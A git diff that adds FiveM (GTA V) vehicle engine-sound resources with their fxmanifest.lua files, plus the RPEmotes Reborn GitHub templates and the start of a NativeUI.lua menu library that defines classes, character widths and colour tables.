diff --git a/resources/kc83chevy454mod/sfx/dlc_kc83chevy454mod/kc83chevy454mod_npc.awc b/resources/kc83chevy454mod/sfx/dlc_kc83chevy454mod/kc83chevy454mod_npc.awc
new file mode 100644
index 000000000..52365358c
Binary files /dev/null and b/resources/kc83chevy454mod/sfx/dlc_kc83chevy454mod/kc83chevy454mod_npc.awc differ
diff --git a/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_amp.dat10.rel b/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_amp.dat10.rel
new file mode 100644
index 000000000..84e14c6a3
Binary files /dev/null and b/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_amp.dat10.rel differ
diff --git a/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_game.dat151.rel b/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_game.dat151.rel
new file mode 100644
index 000000000..85d5333b4
Binary files /dev/null and b/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_game.dat151.rel differ
diff --git a/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_sounds.dat54.rel b/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_sounds.dat54.rel
new file mode 100644
index 000000000..74246fafb
Binary files /dev/null and b/resources/kc85cumminsb67/audioconfig/kc85cumminsb67_sounds.dat54.rel differ
diff --git a/resources/kc85cumminsb67/fxmanifest.lua b/resources/kc85cumminsb67/fxmanifest.lua
new file mode 100644
index 000000000..aa7d18cb0
--- /dev/null
+++ b/resources/kc85cumminsb67/fxmanifest.lua
@@ -0,0 +1,15 @@
+fx_version "adamant"
+game "gta5"
+
+files {
+ "audioconfig/*.dat151.rel",
+ "audioconfig/*.dat54.rel",
+ "audioconfig/*.dat10.rel",
+ "sfx/**/*.awc"
+}
+
+data_file "AUDIO_SYNTHDATA" "audioconfig/kc85cumminsb67_amp.dat"
+data_file "AUDIO_GAMEDATA" "audioconfig/kc85cumminsb67_game.dat"
+data_file "AUDIO_SOUNDDATA" "audioconfig/kc85cumminsb67_sounds.dat"
+data_file "AUDIO_WAVEPACK" "sfx/dlc_kc85cumminsb67"
+dependency '/assetpacks'
\ No newline at end of file
diff --git a/resources/kc85cumminsb67/sfx/dlc_kc85cumminsb67/kc85cumminsb67.awc b/resources/kc85cumminsb67/sfx/dlc_kc85cumminsb67/kc85cumminsb67.awc
new file mode 100644
index 000000000..a8ccfd69c
Binary files /dev/null and b/resources/kc85cumminsb67/sfx/dlc_kc85cumminsb67/kc85cumminsb67.awc differ
diff --git a/resources/kc85cumminsb67/sfx/dlc_kc85cumminsb67/kc85cumminsb67_npc.awc b/resources/kc85cumminsb67/sfx/dlc_kc85cumminsb67/kc85cumminsb67_npc.awc
new file mode 100644
index 000000000..cfcc91403
Binary files /dev/null and b/resources/kc85cumminsb67/sfx/dlc_kc85cumminsb67/kc85cumminsb67_npc.awc differ
diff --git a/resources/kc91crate427a480/audioconfig/kc91crate427a480_amp.dat10.rel b/resources/kc91crate427a480/audioconfig/kc91crate427a480_amp.dat10.rel
new file mode 100644
index 000000000..9500e68b1
Binary files /dev/null and b/resources/kc91crate427a480/audioconfig/kc91crate427a480_amp.dat10.rel differ
diff --git a/resources/kc91crate427a480/audioconfig/kc91crate427a480_game.dat151.rel b/resources/kc91crate427a480/audioconfig/kc91crate427a480_game.dat151.rel
new file mode 100644
index 000000000..d736c393c
Binary files /dev/null and b/resources/kc91crate427a480/audioconfig/kc91crate427a480_game.dat151.rel differ
diff --git a/resources/kc91crate427a480/audioconfig/kc91crate427a480_sounds.dat54.rel b/resources/kc91crate427a480/audioconfig/kc91crate427a480_sounds.dat54.rel
new file mode 100644
index 000000000..b901d0ec1
Binary files /dev/null and b/resources/kc91crate427a480/audioconfig/kc91crate427a480_sounds.dat54.rel differ
diff --git a/resources/kc91crate427a480/fxmanifest.lua b/resources/kc91crate427a480/fxmanifest.lua
new file mode 100644
index 000000000..aa9665cc7
--- /dev/null
+++ b/resources/kc91crate427a480/fxmanifest.lua
@@ -0,0 +1,15 @@
+fx_version "adamant"
+game "gta5"
+
+files {
+ "audioconfig/*.dat151.rel",
+ "audioconfig/*.dat54.rel",
+ "audioconfig/*.dat10.rel",
+ "sfx/**/*.awc"
+}
+
+data_file "AUDIO_SYNTHDATA" "audioconfig/kc91crate427a480_amp.dat"
+data_file "AUDIO_GAMEDATA" "audioconfig/kc91crate427a480_game.dat"
+data_file "AUDIO_SOUNDDATA" "audioconfig/kc91crate427a480_sounds.dat"
+data_file "AUDIO_WAVEPACK" "sfx/dlc_kc91crate427a480"
+dependency '/assetpacks'
\ No newline at end of file
diff --git a/resources/kc91crate427a480/sfx/dlc_kc91crate427a480/kc91crate427a480.awc b/resources/kc91crate427a480/sfx/dlc_kc91crate427a480/kc91crate427a480.awc
new file mode 100644
index 000000000..4900ddf6c
Binary files /dev/null and b/resources/kc91crate427a480/sfx/dlc_kc91crate427a480/kc91crate427a480.awc differ
diff --git a/resources/kc91crate427a480/sfx/dlc_kc91crate427a480/kc91crate427a480_npc.awc b/resources/kc91crate427a480/sfx/dlc_kc91crate427a480/kc91crate427a480_npc.awc
new file mode 100644
index 000000000..a40549cd8
Binary files /dev/null and b/resources/kc91crate427a480/sfx/dlc_kc91crate427a480/kc91crate427a480_npc.awc differ
diff --git a/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_game.dat151.nametable b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_game.dat151.nametable
new file mode 100644
index 000000000..3083334e3
Binary files /dev/null and b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_game.dat151.nametable differ
diff --git a/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_game.dat151.rel b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_game.dat151.rel
new file mode 100644
index 000000000..d1c45d655
Binary files /dev/null and b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_game.dat151.rel differ
diff --git a/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_sounds.dat54.nametable b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_sounds.dat54.nametable
new file mode 100644
index 000000000..825de1d33
Binary files /dev/null and b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_sounds.dat54.nametable differ
diff --git a/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_sounds.dat54.rel b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_sounds.dat54.rel
new file mode 100644
index 000000000..07c383546
Binary files /dev/null and b/resources/lg125mnsrybently/audioconfig/lg125mnsrybently_sounds.dat54.rel differ
diff --git a/resources/lg125mnsrybently/fxmanifest.lua b/resources/lg125mnsrybently/fxmanifest.lua
new file mode 100644
index 000000000..f4573013e
--- /dev/null
+++ b/resources/lg125mnsrybently/fxmanifest.lua
@@ -0,0 +1,14 @@
+fx_version "adamant"
+game "gta5"
+
+files {
+ "audioconfig/*.dat151.rel",
+ "audioconfig/*.dat54.rel",
+ "audioconfig/*.dat10.rel",
+ "sfx/**/*.awc"
+}
+
+data_file "AUDIO_SYNTHDATA" "audioconfig/lg125mnsrybently_amp.dat"
+data_file "AUDIO_GAMEDATA" "audioconfig/lg125mnsrybently_game.dat"
+data_file "AUDIO_SOUNDDATA" "audioconfig/lg125mnsrybently_sounds.dat"
+data_file "AUDIO_WAVEPACK" "sfx/dlc_lg125mnsrybently"
\ No newline at end of file
diff --git a/resources/lg125mnsrybently/sfx/dlc_lg125mnsrybently/lg125mnsrybently.awc b/resources/lg125mnsrybently/sfx/dlc_lg125mnsrybently/lg125mnsrybently.awc
new file mode 100644
index 000000000..c6e7fc224
Binary files /dev/null and b/resources/lg125mnsrybently/sfx/dlc_lg125mnsrybently/lg125mnsrybently.awc differ
diff --git a/resources/lg125mnsrybently/sfx/dlc_lg125mnsrybently/lg125mnsrybently_npc.awc b/resources/lg125mnsrybently/sfx/dlc_lg125mnsrybently/lg125mnsrybently_npc.awc
new file mode 100644
index 000000000..a7d552544
Binary files /dev/null and b/resources/lg125mnsrybently/sfx/dlc_lg125mnsrybently/lg125mnsrybently_npc.awc differ
diff --git a/resources/lg44nascarv8/audioconfig/lg44nascarv8_amp.dat10.rel b/resources/lg44nascarv8/audioconfig/lg44nascarv8_amp.dat10.rel
new file mode 100644
index 000000000..a2372aed8
Binary files /dev/null and b/resources/lg44nascarv8/audioconfig/lg44nascarv8_amp.dat10.rel differ
diff --git a/resources/lg44nascarv8/audioconfig/lg44nascarv8_game.dat151.rel b/resources/lg44nascarv8/audioconfig/lg44nascarv8_game.dat151.rel
new file mode 100644
index 000000000..ebab2cb34
Binary files /dev/null and b/resources/lg44nascarv8/audioconfig/lg44nascarv8_game.dat151.rel differ
diff --git a/resources/lg44nascarv8/audioconfig/lg44nascarv8_sounds.dat54.rel b/resources/lg44nascarv8/audioconfig/lg44nascarv8_sounds.dat54.rel
new file mode 100644
index 000000000..bbe388419
Binary files /dev/null and b/resources/lg44nascarv8/audioconfig/lg44nascarv8_sounds.dat54.rel differ
diff --git a/resources/lg44nascarv8/fxmanifest.lua b/resources/lg44nascarv8/fxmanifest.lua
new file mode 100644
index 000000000..397a536e5
--- /dev/null
+++ b/resources/lg44nascarv8/fxmanifest.lua
@@ -0,0 +1,14 @@
+fx_version "adamant"
+game "gta5"
+
+files {
+ "audioconfig/*.dat151.rel",
+ "audioconfig/*.dat54.rel",
+ "audioconfig/*.dat10.rel",
+ "sfx/**/*.awc"
+}
+
+data_file "AUDIO_SYNTHDATA" "audioconfig/lg44nascarv8_amp.dat"
+data_file "AUDIO_GAMEDATA" "audioconfig/lg44nascarv8_game.dat"
+data_file "AUDIO_SOUNDDATA" "audioconfig/lg44nascarv8_sounds.dat"
+data_file "AUDIO_WAVEPACK" "sfx/dlc_lg44nascarv8"
\ No newline at end of file
diff --git a/resources/lg44nascarv8/sfx/dlc_lg44nascarv8/lg44nascarv8.awc b/resources/lg44nascarv8/sfx/dlc_lg44nascarv8/lg44nascarv8.awc
new file mode 100644
index 000000000..703ea6736
Binary files /dev/null and b/resources/lg44nascarv8/sfx/dlc_lg44nascarv8/lg44nascarv8.awc differ
diff --git a/resources/lg44nascarv8/sfx/dlc_lg44nascarv8/lg44nascarv8_npc.awc b/resources/lg44nascarv8/sfx/dlc_lg44nascarv8/lg44nascarv8_npc.awc
new file mode 100644
index 000000000..c73dd03f8
Binary files /dev/null and b/resources/lg44nascarv8/sfx/dlc_lg44nascarv8/lg44nascarv8_npc.awc differ
diff --git a/resources/rpemotesreborn1.6.0/.github/CONTRIBUTING.md b/resources/rpemotesreborn1.6.0/.github/CONTRIBUTING.md
new file mode 100644
index 000000000..b0505fa8b
--- /dev/null
+++ b/resources/rpemotesreborn1.6.0/.github/CONTRIBUTING.md
@@ -0,0 +1,47 @@
+# RPEmotes - Contributing Guidelines
+
+Thank you for considering contributing to our project! We value the involvement of every community member and appreciate your help in making this project better. To ensure a positive and inclusive experience for everyone, we have established these guidelines, which we expect all contributors to follow.
+
+## Code of Conduct
+
+Before contributing, please review our [Code of Conduct](CODE_OF_CONDUCT.md) to understand the expected behavior and our commitment to maintaining a respectful and inclusive environment.
+
+## How to Contribute
+
+1. Fork the repository and create your branch from the `master` branch.
+2. Ensure that your code follows our coding conventions and style guidelines.
+3. Make your changes, including tests if applicable, and ensure that the code compiles successfully.
+4. Commit your changes and provide a clear and descriptive commit message.
+5. Push your branch to your forked repository.
+6. Submit a pull request to the `master` branch of the main repository.
+7. Be responsive to any feedback or questions that may arise during the review process.
+
+## Communication
+
+- If you have questions or need clarification, feel free to open an issue in the repository.
+- Use respectful and inclusive language in all communications.
+- Be open to feedback and be constructive in your responses.
+
+## Reporting Issues
+
+- If you encounter any issues or have suggestions for improvement, please check the issue tracker to see if it has already been reported.
+- If the issue is new, feel free to open a new issue, providing a clear and descriptive title and description.
+- Include as much relevant information as possible to help us understand and address the issue more efficiently.
+- Be respectful to others when commenting on existing issues.
+
+## Pull Request Guidelines
+
+- Before submitting a pull request, make sure that your changes address the problem or feature request effectively.
+- Provide a clear and descriptive title for your pull request.
+- Include a summary of the changes made and any additional information that may be helpful for the reviewer.
+- Ensure that your code is well-documented and tested, when applicable.
+- Be open to feedback and be responsive to any requests for changes or improvements.
+
+## Attribution
+
+These Contributing Guidelines are adapted from the [Open Source Guide](https://opensource.guide/), available at [https://opensource.guide/starting-a-project/#writing-contributor-guidelines](https://opensource.guide/starting-a-project/#writing-contributor-guidelines).
+
+## Acknowledgment
+
+We appreciate the time and effort you put into contributing to this project. Your contributions help make this project better for everyone involved. Thank you for being a part of our community!
+
diff --git a/resources/rpemotesreborn1.6.0/.github/FUNDING.yml b/resources/rpemotesreborn1.6.0/.github/FUNDING.yml
new file mode 100644
index 000000000..da888e686
--- /dev/null
+++ b/resources/rpemotesreborn1.6.0/.github/FUNDING.yml
@@ -0,0 +1,14 @@
+# These are supported funding model platforms
+
+github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
+patreon: # Replace with a single Patreon username
+open_collective: # Replace with a single Open Collective username
+ko_fi: popcornrp
+tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
+community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
+liberapay: # Replace with a single Liberapay username
+issuehunt: # Replace with a single IssueHunt username
+lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry
+polar: # Replace with a single Polar username
+buy_me_a_coffee: # Replace with a single Buy Me a Coffee username
+custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
diff --git a/resources/rpemotesreborn1.6.0/.github/ISSUE_TEMPLATE/bug_report.md b/resources/rpemotesreborn1.6.0/.github/ISSUE_TEMPLATE/bug_report.md
new file mode 100644
index 000000000..c180ddefd
--- /dev/null
+++ b/resources/rpemotesreborn1.6.0/.github/ISSUE_TEMPLATE/bug_report.md
@@ -0,0 +1,24 @@
+---
+name: Bug Report
+about: Create a report to help us improve
+title: ''
+labels: ''
+assignees: ''
+
+---
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**To Reproduce**
+Steps to reproduce the behaviour:
+1. Go to '...'
+2. Click on '....'
+3. Scroll down to '....'
+4. See error
+
+**Expected behaviour**
+A clear and concise description of what you expected to happen.
+
+**Additional context**
+Add any other context about the problem here.
diff --git a/resources/rpemotesreborn1.6.0/.github/ISSUE_TEMPLATE/feature_request.md b/resources/rpemotesreborn1.6.0/.github/ISSUE_TEMPLATE/feature_request.md
new file mode 100644
index 000000000..ee32ac272
--- /dev/null
+++ b/resources/rpemotesreborn1.6.0/.github/ISSUE_TEMPLATE/feature_request.md
@@ -0,0 +1,16 @@
+---
+name: Feature Request
+about: Looking for a feature to be added? Use this template!
+title: ''
+labels: ''
+assignees: ''
+---
+
+**Describe the Feature**
+A clear and concise description of what the feature is and how it will function and improve remotes-reborn.
+
+**Example/Mock up**
+An image or mockup of how it would look for function.
+
+**Additional context**
+Add any other context that might be useful.
diff --git a/resources/rpemotesreborn1.6.0/NativeUI.lua b/resources/rpemotesreborn1.6.0/NativeUI.lua
new file mode 100644
index 000000000..c17a95a63
--- /dev/null
+++ b/resources/rpemotesreborn1.6.0/NativeUI.lua
@@ -0,0 +1,3930 @@
+UIResRectangle = setmetatable({}, UIResRectangle)
+UIResRectangle.__index = UIResRectangle
+UIResRectangle.__call = function() return "Rectangle" end
+
+UIResText = setmetatable({}, UIResText)
+UIResText.__index = UIResText
+UIResText.__call = function() return "Text" end
+
+Sprite = setmetatable({}, Sprite)
+Sprite.__index = Sprite
+Sprite.__call = function() return "Sprite" end
+
+UIMenuItem = setmetatable({}, UIMenuItem)
+UIMenuItem.__index = UIMenuItem
+UIMenuItem.__call = function() return "UIMenuItem", "UIMenuItem" end
+
+UIMenuCheckboxItem = setmetatable({}, UIMenuCheckboxItem)
+UIMenuCheckboxItem.__index = UIMenuCheckboxItem
+UIMenuCheckboxItem.__call = function() return "UIMenuItem", "UIMenuCheckboxItem" end
+
+UIMenuListItem = setmetatable({}, UIMenuListItem)
+UIMenuListItem.__index = UIMenuListItem
+UIMenuListItem.__call = function() return "UIMenuItem", "UIMenuListItem" end
+
+UIMenuSliderItem = setmetatable({}, UIMenuSliderItem)
+UIMenuSliderItem.__index = UIMenuSliderItem
+UIMenuSliderItem.__call = function() return "UIMenuItem", "UIMenuSliderItem" end
+
+UIMenuColouredItem = setmetatable({}, UIMenuColouredItem)
+UIMenuColouredItem.__index = UIMenuColouredItem
+UIMenuColouredItem.__call = function() return "UIMenuItem", "UIMenuColouredItem" end
+
+UIMenuProgressItem = setmetatable({}, UIMenuProgressItem)
+UIMenuProgressItem.__index = UIMenuProgressItem
+UIMenuProgressItem.__call = function() return "UIMenuItem", "UIMenuProgressItem" end
+
+UIMenuHeritageWindow = setmetatable({}, UIMenuHeritageWindow)
+UIMenuHeritageWindow.__index = UIMenuHeritageWindow
+UIMenuHeritageWindow.__call = function() return "UIMenuWindow", "UIMenuHeritageWindow" end
+
+UIMenuGridPanel = setmetatable({}, UIMenuGridPanel)
+UIMenuGridPanel.__index = UIMenuGridPanel
+UIMenuGridPanel.__call = function() return "UIMenuPanel", "UIMenuGridPanel" end
+
+UIMenuColourPanel = setmetatable({}, UIMenuColourPanel)
+UIMenuColourPanel.__index = UIMenuColourPanel
+UIMenuColourPanel.__call = function() return "UIMenuPanel", "UIMenuColourPanel" end
+
+UIMenuPercentagePanel = setmetatable({}, UIMenuPercentagePanel)
+UIMenuPercentagePanel.__index = UIMenuPercentagePanel
+UIMenuPercentagePanel.__call = function() return "UIMenuPanel", "UIMenuPercentagePanel" end
+
+UIMenu = setmetatable({}, UIMenu)
+UIMenu.__index = UIMenu
+UIMenu.__call = function() return "UIMenu" end
+
+MenuPool = setmetatable({}, MenuPool)
+MenuPool.__index = MenuPool
+
+NativeUI = {}
+
+CharacterMap = { [' '] = 6, ['!'] = 6, ['"'] = 6, ['#'] = 11, ['$'] = 10, ['%'] = 17, ['&'] = 13, ['\\'] = 4, ['('] = 6, [')'] = 6, ['*'] = 7, ['+'] = 10, [','] = 4, ['-'] = 6, ['.'] = 4, ['/'] = 7, ['0'] = 12, ['1'] = 7, ['2'] = 11, ['3'] = 11, ['4'] = 11, ['5'] = 11, ['6'] = 12, ['7'] = 10, ['8'] = 11, ['9'] = 11, [':'] = 5, [';'] = 4, ['<'] = 9, ['='] = 9, ['>'] = 9, ['?'] = 10, ['@'] = 15, ['A'] = 12, ['B'] = 13, ['C'] = 14, ['D'] = 14, ['E'] = 12, ['F'] = 12, ['G'] = 15, ['H'] = 14, ['I'] = 5, ['J'] = 11, ['K'] = 13, ['L'] = 11, ['M'] = 16, ['N'] = 14, ['O'] = 16, ['P'] = 12, ['Q'] = 15, ['R'] = 13, ['S'] = 12, ['T'] = 11, ['U'] = 13, ['V'] = 12, ['W'] = 18, ['X'] = 11, ['Y'] = 11, ['Z'] = 12, ['['] = 6, [']'] = 6, ['^'] = 9, ['_'] = 18, ['`'] = 8, ['a'] = 11, ['b'] = 12, ['c'] = 11, ['d'] = 12, ['e'] = 12, ['f'] = 5, ['g'] = 13, ['h'] = 11, ['i'] = 4, ['j'] = 4, ['k'] = 10, ['l'] = 4, ['m'] = 18, ['n'] = 11, ['o'] = 12, ['p'] = 12, ['q'] = 12, ['r'] = 7, ['s'] = 9, ['t'] = 5, ['u'] = 11, ['v'] = 10, ['w'] = 14, ['x'] = 9, ['y'] = 10, ['z'] = 9, ['{'] = 6, ['|'] = 3, ['}'] = 6 }
+
+BadgeStyle = { None = 0, BronzeMedal = 1, GoldMedal = 2, SilverMedal = 3, Alert = 4, Crown = 5, Ammo = 6, Armour = 7, Barber = 8, Clothes = 9, Franklin = 10, Bike = 11, Car = 12, Gun = 13, Heart = 14, Makeup = 15, Mask = 16, Michael = 17, Star = 18, Tattoo = 19, Trevor = 20, Lock = 21, Tick = 22 }
+
+BadgeTexture = {
+ [0] = function() return "" end,
+ [1] = function() return "mp_medal_bronze" end,
+ [2] = function() return "mp_medal_gold" end,
+ [3] = function() return "medal_silver" end,
+ [4] = function() return "mp_alerttriangle" end,
+ [5] = function() return "mp_hostcrown" end,
+ [6] = function(Selected) if Selected then return "shop_ammo_icon_b" else return "shop_ammo_icon_a" end end,
+ [7] = function(Selected) if Selected then return "shop_armour_icon_b" else return "shop_armour_icon_a" end end,
+ [8] = function(Selected) if Selected then return "shop_barber_icon_b" else return "shop_barber_icon_a" end end,
+ [9] = function(Selected) if Selected then return "shop_clothing_icon_b" else return "shop_clothing_icon_a" end end,
+ [10] = function(Selected) if Selected then return "shop_franklin_icon_b" else return "shop_franklin_icon_a" end end,
+ [11] = function(Selected) if Selected then return "shop_garage_bike_icon_b" else return "shop_garage_bike_icon_a" end end,
+ [12] = function(Selected) if Selected then return "shop_garage_icon_b" else return "shop_garage_icon_a" end end,
+ [13] = function(Selected) if Selected then return "shop_gunclub_icon_b" else return "shop_gunclub_icon_a" end end,
+ [14] = function(Selected) if Selected then return "shop_health_icon_b" else return "shop_health_icon_a" end end,
+ [15] = function(Selected) if Selected then return "shop_makeup_icon_b" else return "shop_makeup_icon_a" end end,
+ [16] = function(Selected) if Selected then return "shop_mask_icon_b" else return "shop_mask_icon_a" end end,
+ [17] = function(Selected) if Selected then return "shop_michael_icon_b" else return "shop_michael_icon_a" end end,
+ [18] = function() return "shop_new_star" end,
+ [19] = function(Selected) if Selected then return "shop_tattoos_icon_b" else return "shop_tattoos_icon_a" end end,
+ [20] = function(Selected) if Selected then return "shop_trevor_icon_b" else return "shop_trevor_icon_a" end end,
+ [21] = function() return "shop_lock" end,
+ [22] = function() return "shop_tick_icon" end,
+}
+
+BadgeDictionary = {
+ [0] = function(Selected)
+ if Selected then
+ return "commonmenu"
+ else
+ return "commonmenu"
+ end
+ end,
+}
+
+BadgeColour = {
+ [5] = function(Selected) if Selected then return 0, 0, 0, 255 else return 255, 255, 255, 255 end end,
+ [21] = function(Selected) if Selected then return 0, 0, 0, 255 else return 255, 255, 255, 255 end end,
+ [22] = function(Selected) if Selected then return 0, 0, 0, 255 else return 255, 255, 255, 255 end end,
+}
+
+Colours = {
+ PureWhite = { 255, 255, 255, 255 },
+ White = { 240, 240, 240, 255 },
+ Black = { 0, 0, 0, 255 },
+ Grey = { 155, 155, 155, 255 },
+ GreyLight = { 205, 205, 205, 255 },
+ GreyDark = { 77, 77, 77, 255 },
+ Red = { 224, 50, 50, 255 },
+ RedLight = { 240, 153, 153, 255 },
+ RedDark = { 112, 25, 25, 255 },
+ Blue = { 93, 182, 229, 255 },
+ BlueLight = { 174, 219, 242, 255 },
+ BlueDark = { 47, 92, 115, 255 },
+ Yellow = { 240, 200, 80, 255 },
+ YellowLight = { 254, 235, 169, 255 },
+ YellowDark = { 126, 107, 41, 255 },
+ Orange = { 255, 133, 85, 255 },
+ OrangeLight = { 255, 194, 170, 255 },
+ OrangeDark = { 127, 66, 42, 255 },
+ Green = { 114, 204, 114, 255 },
+ GreenLight = { 185, 230, 185, 255 },
+ GreenDark = { 57, 102, 57, 255 },
+ Purple = { 132, 102, 226, 255 },
+ PurpleLight = { 192, 179, 239, 255 },
+ PurpleDark = { 67, 57, 111, 255 },
+ Pink = { 203, 54, 148, 255 },
+ RadarHealth = { 53, 154, 71, 255 },
+ RadarArmour = { 93, 182, 229, 255 },
+ RadarDamage = { 235, 36, 39, 255 },
+ NetPlayer1 = { 194, 80, 80, 255 },
+ NetPlayer2 = { 156, 110, 175, 255 },
+ NetPlayer3 = { 255, 123, 196, 255 },
+ NetPlayer4 = { 247, 159, 123, 255 },
+ NetPlayer5 = { 178, 144, 132, 255 },
+ NetPlayer6 = { 141, 206, 167, 255 },
+ NetPlayer7 = { 113, 169, 175, 255 },
+ NetPlayer8 = { 211, 209, 231, 255 },
+ NetPlayer9 = { 144, 127, 153, 255 },
+ NetPlayer10 = { 106, 196, 191, 255 },
+ NetPlayer11 = { 214, 196, 153, 255 },
+ NetPlayer12 = { 234, 142, 80, 255 },
+ NetPlayer13 = { 152, 203, 234, 255 },
+ NetPlayer14 = { 178, 98, 135, 255 },
+ NetPlayer15 = { 144, 142, 122, 255 },
+ NetPlayer16 = { 166, 117, 94, 255 },
+ NetPlayer17 = { 175, 168, 168, 255 },
+ NetPlayer18 = { 232, 142, 155, 255 },
+ NetPlayer19 = { 187, 214, 91, 255 },
+ NetPlayer20 = { 12, 123, 86, 255 },
+ NetPlayer21 = { 123, 196, 255, 255 },
+ NetPlayer22 = { 171, 60, 230, 255 },
+ NetPlayer23 = { 206, 169, 13, 255 },
+ NetPlayer24 = { 71, 99, 173, 255 },
+ NetPlayer25 = { 42, 166, 185, 255 },
+ NetPlayer26 = { 186, 157, 125, 255 },
+ NetPlayer27 = { 201, 225, 255, 255 },
+ NetPlayer28 = { 240, 240, 150, 255 },
+ NetPlayer29 = { 237, 140, 161, 255 },
+ NetPlayer30 = { 249, 138, 138, 255 },
+ NetPlayer31 = { 252, 239, 166, 255 },
+ NetPlayer32 = { 240, 240, 240, 255 },
+ SimpleBlipDefault = { 159, 201, 166, 255 },
+ MenuBlue = { 140, 140, 140, 255 },
+ MenuGreyLight = { 140, 140, 140, 255 },
+ MenuBlueExtraDark = { 40, 40, 40, 255 },
+ MenuYellow = { 240, 160, 0, 255 },
+ MenuYellowDark = { 240, 160, 0, 255 },
+ MenuGreen = { 240, 160, 0, 255 },
+ MenuGrey = { 140, 140, 140, 255 },
+ MenuGreyDark = { 60, 60, 60, 255 },
+ MenuHighlight = { 30, 30, 30, 255 },
+ MenuStandard = { 140, 140, 140, 255 },
+ MenuDimmed = { 75, 75, 75, 255 },
+ MenuExtraDimmed = { 50, 50, 50, 255 },
+ BriefTitle = { 95, 95, 95, 255 },
+ MidGreyMp = { 100, 100, 100, 255 },
+ NetPlayer1Dark = { 93, 39, 39, 255 },
+ NetPlayer2Dark = { 77, 55, 89, 255 },
+ NetPlayer3Dark = { 124, 62, 99, 255 },
+ NetPlayer4Dark = { 120, 80, 80, 255 },
+ NetPlayer5Dark = { 87, 72, 66, 255 },
+ NetPlayer6Dark = { 74, 103, 83, 255 },
+ NetPlayer7Dark = { 60, 85, 88, 255 },
+ NetPlayer8Dark = { 105, 105, 64, 255 },
+ NetPlayer9Dark = { 72, 63, 76, 255 },
+ NetPlayer10Dark = { 53, 98, 95, 255 },
+ NetPlayer11Dark = { 107, 98, 76, 255 },
+ NetPlayer12Dark = { 117, 71, 40, 255 },
+ NetPlayer13Dark = { 76, 101, 117, 255 },
+ NetPlayer14Dark = { 65, 35, 47, 255 },
+ NetPlayer15Dark = { 72, 71, 61, 255 },
+ NetPlayer16Dark = { 85, 58, 47, 255 },
+ NetPlayer17Dark = { 87, 84, 84, 255 },
+ NetPlayer18Dark = { 116, 71, 77, 255 },
+ NetPlayer19Dark = { 93, 107, 45, 255 },
+ NetPlayer20Dark = { 6, 61, 43, 255 },
+ NetPlayer21Dark = { 61, 98, 127, 255 },
+ NetPlayer22Dark = { 85, 30, 115, 255 },
+ NetPlayer23Dark = { 103, 84, 6, 255 },
+ NetPlayer24Dark = { 35, 49, 86, 255 },
+ NetPlayer25Dark = { 21, 83, 92, 255 },
+ NetPlayer26Dark = { 93, 98, 62, 255 },
+ NetPlayer27Dark = { 100, 112, 127, 255 },
+ NetPlayer28Dark = { 120, 120, 75, 255 },
+ NetPlayer29Dark = { 152, 76, 93, 255 },
+ NetPlayer30Dark = { 124, 69, 69, 255 },
+ NetPlayer31Dark = { 10, 43, 50, 255 },
+ NetPlayer32Dark = { 95, 95, 10, 255 },
+ Bronze = { 180, 130, 97, 255 },
+ Silver = { 150, 153, 161, 255 },
+ Gold = { 214, 181, 99, 255 },
+ Platinum = { 166, 221, 190, 255 },
+ Gang1 = { 29, 100, 153, 255 },
+ Gang2 = { 214, 116, 15, 255 },
+ Gang3 = { 135, 125, 142, 255 },
+ Gang4 = { 229, 119, 185, 255 },
+ SameCrew = { 252, 239, 166, 255 },
+ Freemode = { 45, 110, 185, 255 },
+ PauseBg = { 0, 0, 0, 255 },
+ Friendly = { 93, 182, 229, 255 },
+ Enemy = { 194, 80, 80, 255 },
+ Location = { 240, 200, 80, 255 },
+ Pickup = { 114, 204, 114, 255 },
+ PauseSingleplayer = { 114, 204, 114, 255 },
+ FreemodeDark = { 22, 55, 92, 255 },
+ InactiveMission = { 154, 154, 154, 255 },
+ Damage = { 194, 80, 80, 255 },
+ PinkLight = { 252, 115, 201, 255 },
+ PmMitemHighlight = { 252, 177, 49, 255 },
+ ScriptVariable = { 0, 0, 0, 255 },
+ Yoga = { 109, 247, 204, 255 },
+ Tennis = { 241, 101, 34, 255 },
+ Golf = { 214, 189, 97, 255 },
+ ShootingRange = { 112, 25, 25, 255 },
+ FlightSchool = { 47, 92, 115, 255 },
+ NorthBlue = { 93, 182, 229, 255 },
+ SocialClub = { 234, 153, 28, 255 },
+ PlatformBlue = { 11, 55, 123, 255 },
+ PlatformGreen = { 146, 200, 62, 255 },
+ PlatformGrey = { 234, 153, 28, 255 },
+ FacebookBlue = { 66, 89, 148, 255 },
+ IngameBg = { 0, 0, 0, 255 },
+ Darts = { 114, 204, 114, 255 },
+ Waypoint = { 164, 76, 242, 255 },
+ Michael = { 101, 180, 212, 255 },
+ Franklin = { 171, 237, 171, 255 },
+ Trevor = { 255, 163, 87, 255 },
+ GolfP1 = { 240, 240, 240, 255 },
+ GolfP2 = { 235, 239, 30, 255 },
+ GolfP3 = { 255, 149, 14, 255 },
+ GolfP4 = { 246, 60, 161, 255 },
+ WaypointLight = { 210, 166, 249, 255 },
+ WaypointDark = { 82, 38, 121, 255 },
+ PanelLight = { 0, 0, 0, 255 },
+ MichaelDark = { 72, 103, 116, 255 },
+ FranklinDark = { 85, 118, 85, 255 },
